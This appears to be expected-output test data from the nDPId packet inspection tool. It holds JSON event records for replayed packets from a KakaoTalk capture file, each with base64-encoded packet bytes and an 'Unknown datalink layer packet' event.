+00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1796,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":319647,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAPxHa6AoYUrwByQGuLDhaBACmueiAbFBpi0ALGguGVRnpjnOuKa9PpBFG8l\/swU+mshpLPINzZI4aIhOosqQaNRzpqhY4V+bugDAC1XVPbXWyLd6IuuavuWYaUV6uBHKvDUvGkBdwLAW3ATM8NQf2\/ma0CzqYXJMhXCbPOnQ6eWmG1K4Za1lLhjIwnWmlI+vMcQsDZAjAW5Zk4bh5M0MylLmAw3QazrGXsk\/fVxQxEivyew=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1796,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00537{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1797,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":324073,"pkt_caplen":174,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":174,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJ4AAEAAQBHaBAoYUrwByQGuKBxaBgCKWsuAbDLvfq9sw1SapdpZ7FtTCFJ9QbHs1Kj4OHy4dHYAJaz0lbUh\/HZwDzEp6AiQSWpjGA3Xi4f8MDfsXEaODzL1jEoSmCeIGmRmRDrl89dP5Ke+zPlVvVR1C6dnAUa30RQLIOP19pUG9zaisMQo2+pCYD7JQ28TyjMH2YpPiIHGSC9m"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1797,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1798,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":328803,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAHBH92wHJAa4KGFK8WgYoHACL5aWAbFBKiz+W2guGVRlZWjoxV1pY\/oeMRzJqFh3pqH36Sl8Ljph9gowBVs914i5GnCP5k9Q302zHU8jta2MM7acXSWm8E4v1N5qXJcOyV65IK4gn8fhYRbPvAe4khhLBMozh6rykZM+zdBn49mx2jGHfv8T+Rw2MWIuwWXm+aXJ0qyXvHw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1798,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1799,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":399573,"pkt_caplen":175,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":175,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJ8AAEAAGxH+2wHJAa4KGFK8WgYoHACLUseAbFBLiz+amguGVRlObByztRnazObuoymZURoSu4e2umh5XRFnDErLNL4A0TxHOxhvFNPRA8+fF5h5ssleYjcf7Yk4WCmAaGMmFap9MsDmXRRqTf9SXb+8kZxdtW5\/sNOZp7PPNMfusgxLl37wxUtKIMNYau1lRTn5Dowc68OwvCTndQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1799,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1800,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":419226,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKwAAEAAPxHa9goYUrwByQGuLDhaBACYopuAbFBqi0AO2guGVRntvoMv\/7d2qu4sMZcRV99mB35HfbEB0klikx8qpbEWkxJeu6c420Nif5f7A8fh16L3CA0ABxultcRlOzJw993RZsChoqsIt44aVyTCwg\/rbtCr8NK284qPJXvb1eWukqe2Fx4o4AsxXdNPsh60BDNc0EN1o\/Z4purA5\/mSyYNFIhEfWhE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1800,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00560{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1801,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":420508,"pkt_caplen":192,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":192,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALAAAEAAPxHa8goYUrwByQGuLDhaBACccnmAbFBri0ASmguGVRm09h+gFTDpnCMabXGOTZC61SWLq1tHkAbvv3VMjUrB2L4BcN1A3rvjiaCD9LiOzuCjRT4LbNVT8QLIcylPEBhpVZxgjXCn5WTg1J2yVqrKf60aIGf+40XBWyjXCZWrDOk2pyHGDlIjMZYQMcyMq4QeB6SE4W0VTn4VUSWphw8VrHbxomTJMhsw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1801,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1802,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":427161,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKUAAEAAQBHZ\/QoYUrwByQGuKBxaBgCRRSWAbDLwfq9wg1SapdrhQNRzj1f9fZPdhY39Z+r9L6+nnNx\/QyXJ6W6y3FPCUzjCKStupNa5EGm5p4rmQQCCfOI4g9slKwnMrfY0\/qINecyha5s1L3vPGIKnCf1CyQmrn0A7Xr8vvf+cf109CVGrSxvM+QC3WQcVbDO3XHXmdQFGy1yEfTkaFLtC4g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1802,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1803,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":447364,"pkt_caplen":122,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGoAAEAAHRH9EAHJAa4KGFK8WgQsOABWxyOAbDLRfq78Q1SapdobXbNqiUU8jEJ56SwYN1pGQwRBpLri0eYNLu+UGQMQDHGUQ1jsApw1fndoWZtkbTxQ\/bT2T9gYwgqkFO+eTT1tKH0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1803,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00542{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1804,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":461737,"pkt_caplen":176,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":176,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKAAAEAAQBHaAgoYUrwByQGuKBxaBgCMBzOAbDLxfq90Q1Sapdo\/8GQDBIRnEcbEJXcCzBVV1Kk7NGnV5IzHKYXWPyWCuYS+gLrHwak+9xzAx55E7Au56ECOp0Tw6VpeuC3i2YgkWNpOPDVAt0Wu3zXNIf2iJQMrE5MkxbHUziw\/Y9nWi8mXoRlsYX2m1eaOBEI0vLaivGUbHOlyPRI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1804,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1805,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":479407,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABRgi6AbDLSfq8AA1SapdqPfJa0ryrtEqdurJqIUDBX+jxuskO6ght9WEfXs5fb+uGMxj37kNUO5e0uqBpdWgQgV59S9rJkm1P8TDJb"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1805,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00534{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1806,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":508094,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAQBHaCAoYUrwByQGuKBxaBgCGoUKAbDLyfq94A1SapdoaUE+a6GQSdl+sVb3d8kW3dwyM8LswMxLs9AiNWYAd5y3R1SORMHWhgw\/vBcitFBSIxlz3D6rheEKIYRjNPkFlrU1\/k5OfK7vXnTYxAOa01efZm8maCXLa82AKHdTJiVqn9hLGr6kklQF1xbItS96jWeI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1806,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1807,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":515998,"pkt_caplen":197,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":197,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALUAAEAAPxHa7QoYUrwByQGuLDhaBAChofmAbFBsi0AWWguGVRmXoIuVtM43eIHqKyrqrhRgL8SdlTok11vMjuLrxdWqFJ4a1StMJViTQskzml80gWK79PP7PhPUVockSpJJL8vzwR53FSlI7hVwjUP3D8fwT+0H2c\/a5JUzF2NnhxngbJ+ubaf8d3JGtB4BgSV\/JhSKUQain9Vmw\/66TPNA7tal\/M9aNYUMwEPyQBTFBh8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1807,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1808,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":543341,"pkt_caplen":187,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":187,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKsAAEAAHBH9zwHJAa4KGFK8WgYoHACXfRqAbFBMiz+eWguGVRlHNlb\/RYDMClbIXKbqSgWko+L0+LYmNtVVH5wCm7sxIHD9SQdnh3a7RjRvKC+iiUuhbBbB6\/tuIyN1FB71vJoEgxM1Dnd33b3bj5Iu\/m3SMu8CRuHk0u0Pd\/5tMj0wtWccnC45FpEvNeNlB+VrZc0JXnTIA4VLqHjKDP9oHGL\/5ceH7A=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1808,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1809,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":559363,"pkt_caplen":153,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":153,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIkAAEAAHBH98QHJAa4KGFK8WgYoHAB16jCAbFBNiz+iGguGVRkWjUZ3x14vTp5A5lZrHwoAwGYWjip504Jxb9u2+Gx1CgpJyTgII9lFvRhYLu1OBspNeVVfIszIVK8IRoFsW8BHvVjAFVzBUpn6yYDGQWNP7b2N0iFwWtNRwWBuxRjXAkcw"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1809,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00555{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1810,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":581183,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKoAAEAAQBHZ+AoYUrwByQGuKBxaBgCWSVuAbDLzfq97w1Sapdo1OAYIjGK1NhO3uJ\/BJAEPDf9uWVEFVzQOb\/oc7BBzaWSlol\/OdMebuThkwLAiGUUbjZ+CHuA1lhXRVPPIeORUk6DwzktlGfcdG3fw8Qn2QOI8JgjqCfMpe1Kj9pUwgihfiGTPxizrjaFgkx9pP8XfnbwsGXLGDuVWqsjEMgCscUHV"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1810,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":583502,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHRH9GQHJAa4KGFK8WgQsOABNlkaAbDLTfq8Dw1SapdoR3GIBOLgblq5cFUJtfodpEqqUEKTcuXKuJ012LbOXvDkku2WCtRw6bSP2vRACnNAW7hqdHtFNCso="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1811,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00461{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":608618,"pkt_caplen":115,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":115,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGMAAEAAHRH9FwHJAa4KGFK8WgQsOABPS7mAbDLUfq8Hg1SapdqiWrSATMh0FcrmqqU02YmXvSP7JHZhu7qnIftHeJ9K8xvvjyA9EHkTjERMJnQB8a7HZJKnDkrS\/nZrrA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1812,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":620154,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACoRtyAbFBti0AaGguGVRlRgrOz53bomywWQCwTifrkSdxdjT5ADYEc4mfaCgkwZfpCVoBJjpOZmG4SyxgO6chAQHJKDRN\/Z9EU\/B+E+B63tuoQduss9QRK9J3SifaOZddKqVRxDSkdf2qEUo\/Hnz0rAmoqhRWV3VKHHMOhtjSB4DUUychU3XwtItSbOApE\/MO1TXPnTKnUsEPARdM9w6+NkjBl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1813,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":621985,"pkt_caplen":221,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":221,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAM0AAEAAPxHa1QoYUrwByQGuLDhaBAC5MC+AbFBui0Ad2guGVRlubOa81TzXLJZuC5H36Fqn17HIHtknM\/ndX6P3Br5AqJfMqLO0TLxp2pDpUN6\/0rc+mHyY7JmhcFm5V7U0HZevZV0tVOweud4Ri80pT7Fn2YlHvi5kpG8HDjy18G2WoBEs1qaFThUMYGvuMWUIDr08Aydm4IO5+6PeF4JkqJ9gGlyMmRX9KzG8cMIQ4nAhWTIPURl5wlbeKVFso49BPLYeVuzGVdM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1814,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00478{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":625952,"pkt_caplen":128,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":128,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHAAAEAAQBHaMgoYUrwByQGuKBxaBgBcvXWAbDL0fq9\/g1Sapdp3PsZmouFQC4OSPj2qLhL6ukWPzjFQZeC7M7+34UfPEKknhikPvROHrQFyWLdGA47pGJ6SpJ5pbiVngLz8Kjmpt15e\/gKcP8k="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1815,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":669287,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHBH+GgHJAa4KGFK8WgYoHABMT8SAbFBOiz+l2guGVRlerR3e1EWio9A2FzZOkaRkAV8pJuvc5ovlUG5kBHbpnm0Vf9eisakwFfj5cgouMNTgRNu8C7UTLQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1816,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":705146,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBe7zyAbDL1fq+DQ1SapdqS1+UOnye1oVlg2aJ2GFwBhRrw0x8XCkLbwI91Ir1\/8\/MY8n2wfrZ1NndUcsV9AG1wjufSHKBrDXEoKhr\/h9ALa1ZfQK8hVBxIqQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1817,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":707984,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLm7WAbDLVfq8LQ1SapdrvWGhRxmwWEdYC4uHRH0\/geXmdo1omm\/7zmwWHe93OgXsDZaAGs1egucSyHpz69LMKYfl5DzyX"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1818,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00581{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":715186,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACoNSaAbFBvi0AhmguGVRnYOR+jJlPvtisjhokJhPiDCUgqcfIIpRbpfiz\/hpTukv1Ka4u5kkYPJGFRElEpjCaOzYH+k96daYERoEIhW0f4mqgNv\/qxdMzmnlDqwJpuPCxVOB5c\/\/CTC76htKTdqfjMazEv6BRGExPi8qfBMxfNAkrkOyN4q2HhMFZoh1\/dVQ1eDiqP92X2JIDgezk+tupfE3VI"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1819,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00533{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":715460,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJMAAEAAPxHbDwoYUrwByQGuLDhaBAB\/CSmAbFBwi0AlWguGVRkoLDvKjNG0MO65\/l2i2w5KjajTwstx\/9q\/23YKENCSCEhS4Wg\/moWDRjlxe\/niWTBqb3wcJRneS\/vtCFiswaC1JJ8Yu\/ZQc9EA6jPfu57w659ug350rYXw7jTZ0xIvwwVRk\/xYrH+LozaDrw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1820,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":759406,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFsAAEAAHBH+HwHJAa4KGFK8WgYoHABHkaSAbFBPiz+pmguGVRnCrD6JNklzJZ0ZxTz5PRUdnAdvh5fH1W+Ft29WMsxGzuLF\/vu\/mkBl7dw9buz7ZdvXbus="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1821,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":764014,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/mIWAbDL2fq+HA1SapdrqHx8TrmE2qgUAu7RAxFzxmZgXSwZr1z4UxCkHDMHnoj6LSmiE3wctr4v\/"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1822,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":783332,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHBH+HgHJAa4KGFK8WgYoHABI\/GCAbFBQiz+tWguGVRnholDqELYSAVdv2snxLqw94O1W8WH0yRcI4eQaCEV8p63FKwMLoprsdtP69UDKL8vU3oZG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1823,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":807746,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHRH9DwHJAa4KGFK8WgQsOABXtguAbDLWfq8PA1SapdrGhdNhY+zG1gI8cM\/qp1E+FVvmiAXDchwj4kojinB7VN2FbivY63w5atj5GEWv55qKb46MleQTyl3X6clFc+BmoN\/J"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1824,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00535{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":813269,"pkt_caplen":170,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":170,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJoAAEAAPxHbCAoYUrwByQGuLDhaBACGcMKAbFBxi0ApGguGVRkF1J8sRjpW5nkp9NqM7QIWvdCXbsfED8xuDWmDWeJcWyi1OkibDDUASYGtu1\/Jfn7P7LcxB+JoM7VhrCFzCRtQDoi0OXhbbMCl5EgchHbgvu\/1VfDEgsqiDQoyUAvI\/FIC9H2EyHt1L79R8lLKGviGjlk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1825,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069197,"pkt_ts_usec":837226,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/a+OAbDL3fq+Kw1SapdrCnha2h+FO2CjS6Bk++NcRhCegDJWA4flcFyU4B+xgLktd+mx0j2uZRMMz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1826,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 